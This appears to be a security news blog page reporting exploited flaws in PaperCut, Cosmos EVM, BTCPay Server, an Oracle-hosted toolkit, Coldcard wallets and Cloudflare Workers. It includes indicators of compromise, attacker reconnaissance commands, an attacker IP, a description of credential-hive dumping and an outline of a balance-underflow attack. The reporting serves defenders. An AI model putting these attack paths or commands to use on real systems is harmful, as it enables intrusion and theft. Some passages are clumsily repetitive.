Malicious attackers are actively exploiting newly disclosed vulnerabilities in PaperCut NG and PaperCut MF that can allow unauthorized remote code execution on vulnerable servers. In response, PaperCut has issued another emergency update for versions 24, 25 and 26, incorporating additional security hardening.

"This vulnerability gives an unauthenticated attacker remote control over PaperCut's trusted configuration, which could be used to execute arbitrary Java code inside the application's process," Huntress researchers John Hammond and Andrew Brandt said.

The attack involves sending specially crafted, unauthenticated requests that manipulate server configuration settings. According to Huntress, the flaw stems from an authorization weakness that can cause PaperCut's security checks to validate the page being displayed rather than the underlying component responsible for carrying out an action.

In vulnerable versions, attackers can exploit this behavior to alter server configurations and gain access to sensitive administrative endpoints. Those endpoints can then be abused to perform unsafe operations and ultimately execute attacker-controlled code.

PaperCut has identified two vulnerabilities linked to the attacks:

  • CVE-2026-82078 (CVSS 9.4): An unsafe dynamic class-loading flaw in the database connection utilities of PaperCut MF and NG. The software loads database driver classes according to configurable driver names without checking them against an approved allowlist.
  • CVE-2026-81578 (CVSS 8.8): An improper access-control vulnerability in the web management interface. Under certain circumstances, unauthenticated remote requests can reach administrative backend functions before access checks have been fully completed.

The latest update follows PaperCut's release of a second emergency patch for versions 24, 25 and 26, which the company described as containing "additional hardening beyond the original emergency patch." PaperCut has not yet disclosed detailed information about the threat actors or their broader objectives.

However, the company has provided several indicators of compromise (IoCs) that organizations can use to investigate potentially affected systems.

Potential indicators in server.log include:

  • DB URL: jdbc:derby:memory:pwn;create=true
  • Database error looking up cardID: VALUES CAST(X'cafebabe
  • Database error looking up cardID: VALUES CAST('
  • DB URL: jdbc:no:x DB Driver: <5-char random name>

Security teams should also check for files such as:

  • <install>\server\lib\<5-char-name>.class
  • <install>\server\data\content\<5-char-name>.cmd
  • <install>\server\data\content\<5-char-name>.out
PaperCut warned that attackers may delete these files during the course of an intrusion, meaning that their absence cannot be treated as evidence that a system was not compromised.

Other activity observed by researchers includes the PaperCut application process spawning shell processes such as cmd.exe and executing commands including "whoami & ver". Investigators have also identified the deployment of remote-access software, including SimpleHelp and AnyDesk, potentially to maintain access to compromised systems.

"At this time, we don't have enough evidence to determine the threat actors' ultimate end goal," John Hammond, senior principal security researcher at Huntress, told The Hacker News. "Based on what we observed, the activity appears consistent with early-stage reconnaissance or validation, including commands to identify the victim’s user account and operating system."

Researchers at preemptive exposure management company watchTowr said the two vulnerabilities can be combined to bypass authentication and achieve remote code execution.

"CVE-2026-81578 allows you to bypass authentication, and from there, you can edit a configuration file to exploit CVE-2026-82078 and gain Remote Code Execution," Jake Knott, head of threat intelligence at watchTowr, told The Hacker News.

watchTowr also reported finding several techniques capable of bypassing the initial security fixes, along with another authentication bypass issue. One of the identified bypasses has been addressed in PaperCut's second emergency update, although researchers say additional bypasses affecting the newest patched version have also been discovered.

Huntress similarly reported a bypass affecting the first emergency patch. After reviewing the latest update, the company said "analyzing this second set of emergency patches, we do see security improvements that remediate parts of the attack chain as we understand it."

Huntress has observed limited exploitation across two customer environments. In those incidents, attackers used Base64-encoded commands on compromised servers to gather basic system information, including the logged-in user and operating system, using "whoami & ver".

Attackers were also seen deploying a Java .class file capable of running across both Windows and Linux environments. The file can execute commands, identify characteristics of the compromised machine and generate directory listings. The resulting information was saved as Udydn.out under the /data/content/ directory relative to the PaperCut installation.

After collecting the information, the malicious Java file removed Udydn.out, the server's server.log, and /data/internal/derby.log, potentially reducing evidence available for forensic investigation.

In a separate incident observed on August 27, 2026, attackers reportedly deployed another version of the Java file that expanded its reconnaissance capabilities by adding the running-process list through the command "whoami & ver & tasklist".

Organizations running PaperCut NG or MF should immediately eliminate unnecessary public internet exposure and install the latest security updates. Administrators should also consider limiting access to the PaperCut Application Server web interface to trusted IP addresses or placing it behind a VPN or another controlled administrative access mechanism.

"PaperCut is a prime target for attackers of every motivation, as not only is it an internet-facing pivot into a corporate environment, but it is a sensitive information treasure trove if printed documents can be stored and exfiltrated," Knott said in a statement shared with The Hacker News.

"Organizations with vulnerable internet-facing instances of PaperCut need to remove public internet access where possible, and begin hunting for signs of compromise, such as looking for 'Database error looking up cardID: VALUES CAST' errors in log files."
Read more »
Zero-Day Flaw
Emergency Patch PaperCut Vulnerabilities and Exploits Zero-Day Flaw

PaperCut Zero-Days Exploited, Emergency Patch Released

 

PaperCut Software has released a second emergency patch after confirming that attackers exploited two zero-day vulnerabilities in its NG and MF print management products. The flaws can be abused by unauthenticated attackers to bypass authentication and achieve remote code execution on affected PaperCut instances. 

The two issues are tracked as CVE-2026-81578 and CVE-2026-82078. CVE-2026-81578 is a high-severity authentication bypass that lets a remote attacker modify certain system configurations, while CVE-2026-82078 is a critical weakness tied to unsafe dynamic class loading in the database connection utilities. 

PaperCut said that if an attacker can manipulate system configuration parameters, arbitrary Java bytecode on the application classpath may execute under the security context of the PaperCut server process. The company first issued a security bulletin on August 27, then released an emergency patch on August 28 for versions 25 and 26, followed by a second patch later the same day to add more hardening, including support for version 24. 

Security firms monitoring the exploitation, including Huntress and WatchTowr, helped clarify that the incident involved two zero-days rather than one. WatchTowr said it found multiple patch bypasses and an additional authentication bypass flaw, which appears to have driven the need for the second emergency release. Huntress reported attacks against at least two customers, with the first exploitation attempts seen on August 26. The observed activity has so far focused on system discovery, and investigators have not seen secondary malware, command-and-control traffic, or signs of persistence from the recovered payload. 

PaperCut continues to update its advisory and is still working on a full official release that patches both vulnerabilities. The vendor also published indicators of compromise, giving defenders additional artifacts to search for across exposed systems. The wider risk is significant because PaperCut has been targeted before, and CISA’s Known Exploited Vulnerabilities catalog already includes three other PaperCut flaws, two of which were used in ransomware attacks. ShadowServer data suggests roughly 1,000 PaperCut instances are exposed on the internet, with most located in North America and Europe, making timely patching and exposure review essential for organizations running these print management platforms.
Read more »
Vulnerabilities and Exploits
Blockchain Exploit blockchain hacks Cosmos Blockchain Security Cosmos EVM Vulnerability Cosmos Labs cryptocurrency security EVM Vulnerability Vulnerabilities and Exploits

Attackers Exploit Cosmos EVM Flaw Affecting Multiple Blockchain Networks


Cosmos EVM Flaw Exploited After Widespread Blockchain Exposure Was Confirmed It has been revealed that Cosmos Labs has disclosed exploiting a critical vulnerability in its shared Cosmos EVM module, which resulted in the exploitation of funds from six blockchain networks between August 20 and August 25, 2026. GHSA-7g4w-cg88-2cq2 affects Cosmos EVM versions below 0.6.2 and versions between 0.7.0 and 0.7.1 

Cosmos Labs has classified the issue as Critical, however the advisory is not accompanied by a CVE, weakness classification, or CVSS score. In the versions 0.6.2 and 0.7.2 patches, state-breaking changes were introduced, so affected chains were required to perform coordinated network upgrades. Cosmos Labs has advised operators that if they cannot complete an immediate upgrade, they should cease operations, rather than proceed with governance-based upgrades while remaining exposed. 

A vulnerability was reported by the company on April 25 through a bug bounty program. Following a failure by Cosmos Labs to reproduce the issue on networks using 18-decimal configurations, the team initially concluded that the issue did not pose a threat to funds on live networks. It turned out that assessment was incorrect as the team established on August 13 that the vulnerability affected Cosmos EVM chains regardless of their decimal configurations. 

After the flaw was discovered, Cosmos Labs developed a public silent-patch process, which was designed to address vulnerability that does not present a risk of fund loss on production networks. The patch was released on August 19, one day prior to the first reported exploit. It has since been revealed that several affected blockchains have halt their chains following successful attacks on their funds. KiiChain and TAC have halted their chains as a result, while MANTRA has temporarily closed its mainnet and later restarted it after the fix has been applied. 

Three Networks Confirm Cosmos EVM Exploitation

A security incident was reported by MANTRA among the first networks. The team initially described the incident as a result of an upstream dependency, which led to a halt of the chain. The team said user balances were not impacted, while two wallets controlled by MANTRA were compromised. The vulnerable component was identified by MANTRA as the Cosmos EVM module and reported that version 8.4.0 had been released to address the issue, resulting in the normal block production process returning. 

In August, KiiChain confirmed a direct exploitation of the vulnerability. The attacker reportedly utilized the same technique 18 times, draining 148,326,583.15 KII before the network was halted at block 9,355,723 by validators. According to KiiChain, the vulnerability can only be found in the Cosmos EVM module rather than in its own chain-specific implementation of the Cosmos EVM module. This network has been suspended and is expected to resume via coordinated binary upgrades at a predetermined block height, with validators applying the new versions simultaneously. 

TAC also suspended its network at block 24,671,475 on August 22 after an attacker drained funds from a single account. The team attributed the vulnerability to the Cosmos EVM module instead of TAC-specific code. Cosmos Labs has informed affected teams that they should contact their security contact, and a more comprehensive incident report will be released once the situation has been resolved. The company has not disclosed what caused the vulnerability. 

Flaw Allowed Balance Manipulation Across Affected Chains

This vulnerability is associated with the way Cosmos EVM reconciles Ethereum-style account balances with Cosmos SDK's x/bank module. The EVM tracks the balance of an account, and vesting accounts may also contain funds that remain locked. Staking functions are still capable of delegating locked funds. 

An underflow of balance could occur if a vesting account delegated more than its available spendable balance. In lieu of rejecting the transaction, the calculation wrapped the balance into an extremely large UINT256 value. Cosmos EVM was then able to interpret the altered balance as newly created funds during reconciliation. The same mechanism could also be used against another account. Attackers could transfer artificially inflated amounts to victims' accounts, resulting in the subsequent reconciliation process burning their legitimate balances. 

By creating vesting accounts without permission, the attack was successful. Using a contract deployed at a predetermined address, the attack was completed in a single transaction. This was a result of an underflow check introduced in May that was then backported to the release branches affected by the issue. The handling of locked balances has also been corrected, and a separate safeguard has restricted modifications to module accounts involving balance modifications. 

Patch Distribution Drew Scrutiny

Along with the technical issue, Cosmos Labs' handling of the vulnerability has become a major concern. Cosmos Labs confirmed on August 13 that the issue affected Cosmos EVM networks regardless of their decimal configuration, however, a silent patch process was used to apply the patch. 

Shortly after the patched releases became available on August 19, a public pull request was made in Push Chain's Cosmos EVM fork, describing the vulnerability and its exploitation method. A less than 12-hour period later Cosmos Labs reported the first reported attack on MANTRA. It is believed that six networks have been exposed to the exploit.

On the basis of information provided by the affected chains, approximately $2.87 million worth of assets were traded through decentralized exchanges, while another $2.85 million was traded through centralized exchanges. The figures have not been independently audited. 

Cosmos Labs reports that 11 Cosmos EVM deployments that had not registered security contacts were discovered during the incident. The incident has also highlighted difficulties in reaching downstream operators. Due to the fact that there are over 115 public blockchains in the Cosmos ecosystem and no database of the networks that run its software, distributing urgent security updates remains a complex effort.
Read more »
Vulnerabilities and Exploits
Bitcoin Lightning Network Bitcoin Security Bitcoin Theft BTCPay Server Cryptocurrency Cyberattack Lightning Node Attack LND Vulnerability Vulnerabilities and Exploits

Bitcoin Lightning Nodes Drained Through Critical BTCPay Server Flaw


There has been another security breach of Bitcoin payment infrastructure as attackers exploited critical vulnerabilities in BTCPay Server deployments to steal funds from Lightning nodes. Transactions via Lightning Network are faster and more cost-effective than traditional bitcoin transactions, affecting merchants and other operators. 


An attack was observed late Friday involving LND nodes connected to BTCPay Server. Using the vulnerability, an unauthenticated remote attacker may be able to access .macaroon credentials related to Lightning Nodes, according to BTCPay. These credentials grant access to Lightning nodes and, once compromised, could enable the node to be controlled and its funds moved. 

According to BTCPay, real funds were stolen, and operators of LND were advised to upgrade immediately to version 2.4.2. A system that cannot be updated should be taken offline until the vulnerability is addressed. No details have yet been provided about how many installations were affected or how much bitcoin was lost. Foundation's CEO Zach Herbert stated that attackers drained the company's BTCPay Lightning node, shut down its payment channels, and transferred the funds available.

In contrast, the company's separate hot wallet for BTCPay on-chain was unaffected by the attack. A Bitcoin publication, Citadel21, announced that its Lightning node had also been compromised and swept. Citadel21 stated that only a small amount of funds were stored on the affected node. 

A vulnerability was previously reported to BTCPay by members of the Bitcoin Red Team, which is a group that investigates security flaws in Bitcoin-related software. Craig Raw, Rob Hamilton, Calle and Evan Kaloudis were credited with reporting the issue and assisting with its analysis, according to BTCPay. 

A key concern of the incident is the risk posed when vulnerabilities are discovered while affected systems remain vulnerable. By the time the public warning was issued, attackers had already exploited the flaw against live servers. After its initial alert, BTCPay clarified that the vulnerability does not affect its standard on-chain wallets, including hot wallets created within the company. 

Initially, LND deployments were exposed, however funds stored in LND's own on-chain wallet, which is also under the affected node, may also be vulnerable. While operators attempt to secure affected systems, BTCPay has not provided technical details regarding the flaw. A detailed postmortem is expected to be released within the next few days. 

LND Deployments Remain the Primary Exposure

BTCPay Server installations configured to use Lightning payments can be affected by the vulnerability. If hackers have compromised macaroon credentials, they can gain access to the affected node, making exposed Lightning funds a direct target. The credential exposure has not affected BTCPay's standard on-chain wallets. 

A LND node's on-chain wallet does not receive protection from that security breach, and funds in the wallet may continue to be accessible if the node is compromised. Researchers are taking a close look at widely used codebases following a series of security concerns pertaining to Bitcoin-related software. 

The Bitcoin Red Team identified the issue before attackers began exploiting exposed installations, giving operators limited time to implement the available fix. So far, BitcoinPay has not provided detailed technical information regarding this vulnerability while affected operators have begun to secure their systems. It is expected that the project will publish a comprehensive postmortem in the coming days that will provide additional information regarding the flaw, the attack path, and the extent of the breach. 

Operators using LND behind BTCPay Server should use version 2.4.2 as their current mitigation plan. Until the vulnerability has been addressed, systems which cannot be patched should remain offline. This incident illustrates the security risks associated with cryptocurrency payment infrastructure as well as the importance of patching exposed Lightning nodes as soon as possible.
Read more »
Vulnerabilities and Exploits
Khunt Toolkit Oracle Database SQL Injection Vulnerabilities and Exploits

Oracle Database Abuse Lets Hackers Run Khunt Toolkit

 

Hackers recently abused a SQL injection flaw in a public-facing Java application to plant a post-exploitation toolkit called khunt directly inside an Oracle database, showing how database abuse can become a full network compromise. The case was discovered by Huntress on July 27, 2026, after its security platform detected credential theft on a server hosting an Oracle database. 

The intrusion began through a vulnerable autocomplete search feature on an Apache Tomcat application that did not properly validate input, allowing attackers to issue SQL commands against the database. Huntress traced the malicious traffic to the IP address 178.162.151[.]229. What makes this incident unusual is that the attackers did not drop a normal executable on the server. Instead, they used Oracle’s Java support, including the CREATE JAVA SOURCE capability, to store and compile the khunt toolkit as a database object, something Huntress said is rarely documented in the wild. 

The toolkit included several modules with distinct roles: KhuntCmd for running Windows commands, KhuntHash for extracting usernames and password data, KhuntFS and KhuntFS2 for file browsing and searching, KhuntT for testing whether installation succeeded, and KhuntUnzip for unpacking compressed files. The attackers even used KhuntCmd to run whoami, confirming SYSTEM-level execution on the Windows host. 

From there, they used PowerShell and Windows tools to copy the SAM, SECURITY, and SYSTEM registry hives, which could be used for credential dumping, and they ran tasklist /svc to enumerate services. Huntress advised organizations to sanitize user input, restrict privileges on application database accounts, and avoid giving public-facing databases the power to create Java sources or run administrative actions.
Read more »
Vulnerabilities and Exploits
Bitcoin Hack Bitcoin Theft Bitcoin Wallet Security Coldcard Attack crypto security Cryptocurrency Hacking Hardware Wallet Vulnerabilities and Exploits

Coldcard Bitcoin Wallets Hit by Ongoing Attack Exploiting Key Generation Flaw


A software flaw in Coldcard hardware wallets has raised fresh concerns about the security of offline cryptocurrency storage after a software flaw in Coldcard hardware wallets allowed attackers to drain millions of dollars in Bitcoin.The attack has affected thousands of wallets using Coinkite’s Coldcard devices. 

By August 3, about 1,367 Bitcoin worth US$86 million had been stolen from more than 4,500 wallets by August 3. Cold wallets are widely considered among the most secure ways to store cryptocurrency, as they keep private keys away from internet-connected devices. The Coldcard incident shows,offline storage cannot protect funds if there is a weakness in the process by which cryptographic keys are generated. 

Predictable Seed Phrases Exposed Bitcoin Wallets

The problem centers on how Coldcard devices generated the seed phrases used to recover wallets that will be used to recover and control a Bitcoin wallet in the central issue. A flaw in Coldcard's random-number generation process could produce predictable values instead of sufficiently random keys, according to a Block's engineering team analysis. Coldcard devices included a fallback mechanism based on deterministic information, including serial numbers. 

The flaw allowed attackers to calculate vulnerable wallet keys and move the funds. The losses quickly mounted over the following days. According to initial reports, the loss amount on July 31 was approximately US$38 million, however within days, the amount had more than doubled. 

Initially, Jonathan Goodman believed all three of his wallets would not be affected after checking. However, he discovered that all three had been emptied within minutes of one another on July 29. 

Coinkite Releases Fixed Firmware

Bitcoins controlled by seed phrases generated through affected firmware may be at risk, as confirmed by Coinkite. The flaw has also renewed scrutiny of hardware wallet security, regarding the assumptions surrounding hardware wallets, Coinkite has since released fixed firmware for the affected models and release tracks. 

Although offline access eliminates many Internet-based attack routes, it does not eliminate vulnerabilities in the hardware, firmware, or cryptographic processes required to create those keys. The incident also shows that keeping a wallet offline does not remove every security risk. Despite being physically disconnected from the internet, a wallet may still be vulnerable if its cryptographic keys can be predicted or reconstructed. 

Cold Storage Does Not Eliminate Cryptocurrency Risk

The Coldcard attack comes as cryptocurrency theft continues to cause major losses across the industry. Approximately US972 million of cryptocurrency were stolen during the first half of 2026, substantially lower than the US2.3 billion stolen during the same period in 2025, according to TRM Labs. A total of 207 hacking incidents were recorded during the first six months of 2026, the highest total in the firm's history. 

A TRM Labs report indicates that infrastructure and key compromises account for approximately 15 percent of incidents, yet 76 percent of losses were caused by them. The incident highlights a basic problem with self-custody that self-custody self-custody does not eliminate the risk of losing funds. Hardware wallets can greatly reduce online threat exposure. Their security still depends on how reliably the device generates and protects private keys. 

Affected users should check whether their wallet seeds were generated with vulnerable firmware and follow Coinkite’s guidance that their wallet seeds were generated using vulnerable firmware and follow the manufacturer's remediation instructions.The Coldcard incident shows that keeping a hardware wallet offline is only one part of cryptocurrency security. The software and cryptographic processes used to generate its keys can be just as critical.
Read more »
Vulnerabilities and Exploits
Cloudflare security Cloudflare Workers cybersecurity vulnerability JWT data leak Spectre attack Vulnerabilities and Exploits

Cloudflare Workers Spectre Attack Exposed JWT at 12 Bits Per Second

 

Cybersecurity researchers have uncovered a remote Spectre attack targeting Cloudflare Workers that was capable of extracting a JSON Web Token (JWT) from a co-located Worker in a production environment at speeds of up to 12 bits per second. This represents a significant increase over an earlier attack demonstrated in 2021, which achieved just 2 bits per minute.

The researchers conducted an end-to-end experiment involving an attacker-controlled Worker and a victim Worker, with the JWT deliberately stored in the victim's memory. According to the research paper, the experiment did not involve accessing any customer information.

Cloudflare said it has already addressed the issue in its production environment by strengthening Dynamic Process Isolation (DyPrIs), integrating the V8 Sandbox and introducing Memory Protection Keys (MPK)-based in-process isolation. The company also said it found no evidence of active exploitation related to the issue during the past three years.

"We demonstrate that the production implementation of DyPrIs was insufficient," the researchers said in the paper.

Cloudflare Workers executes code belonging to multiple tenants using separate V8 isolates within the same operating-system process. Rather than relying solely on strict process-level separation, the platform uses language-level isolation to help maintain faster startup times.

According to Cloudflare, a memory-read attack within a shared Worker process could potentially enable information to leak across tenants. However, the attack requires both the attacker and victim Workers to be placed in separate V8 isolates within the same Worker process.

The researchers said the attacker must control legitimate code within its own isolate. The technique does not rely on native code execution, a V8 vulnerability or a sandbox escape.

Cloudflare Workers also limits access to local timing mechanisms by freezing or reducing the precision of timers during CPU execution. Worker scripts do not have access to shared memory or multithreading. However, the researchers discovered that WebSocket communications could act as a remote timing channel.

They also found that Durable Objects could keep a Worker isolate running continuously for periods ranging from five hours to more than 20 hours. Under DyPrIs, suspicious scripts are moved into a separate process after an invocation ends. The researchers found that long-running Durable Object invocations could remain active before this isolation mechanism was triggered.

Another weakness involved WebSocket-intensive input/output activity. The researchers observed that such activity increased instruction translation lookaside buffer (iTLB) activity, weakening the normalized branch-misprediction signal monitored by DyPrIs and pushing it below the mechanism's detection threshold.

Cloudflare characterized the problem as a limitation in how DyPrIs was implemented. The research paper, however, argued that the weaknesses represented more fundamental limitations of the detection methodology rather than simple implementation errors. The researchers recommended monitoring for such activity during execution and using signals that cannot be suppressed through I/O activity.

The researchers conducted their production testing on Linux servers powered by AMD EPYC Zen 2 and Zen 3 processors. Measurements were intentionally performed at night, when CPU utilization was between 10% and 25%, to determine the highest achievable leakage rate.

According to the paper, heavier system workloads reduced the amount of data that could be leaked, although the attack remained possible at slower speeds under greater CPU load.

The study recorded a peak leakage rate of 12 bits per second with 99.16% accuracy. By comparison, the earlier attack achieved approximately 2 bits per minute.

The latest disclosure arrives nearly five years after Cloudflare and Graz University of Technology (TU Graz) published research detailing a remote Spectre attack against Workers. That earlier work demonstrated a leakage rate of 120 bits per hour and introduced DyPrIs as a defense mechanism.

The 2021 research reported a false-positive rate of 0.61% and concluded that DyPrIs offered, statistically, security guarantees comparable to strict process isolation against the Spectre attacks evaluated at that time.

Cloudflare subsequently outlined additional security hardening measures for Workers in September 2025. The company's mitigations include:

  • Enhanced DyPrIs: Improvements designed to strengthen the detection capabilities of the existing isolation mechanism.

  • V8 Sandbox: A security layer designed to restrict transient access to 64-bit pointers.

  • MPK-based in-process isolation: Worker heaps are placed behind hardware-enforced Memory Protection Keys. Cloudflare said modern x64 systems provide approximately 12 keys that can be used for this purpose. Its architecture combines MPK with the V8 Sandbox and a rotating memory layout to prevent neighboring sandboxes from being assigned the same protection key.

Cloudflare's September 2025 documentation noted that randomly assigning MPK keys would block roughly 92% of cross-isolate access attempts because two isolates could receive the same key. The company said its stricter rotating memory layout eliminates that remaining gap within the threat model covered by the in-sandbox protections.

Read more »
Subscribe to: Posts (Atom)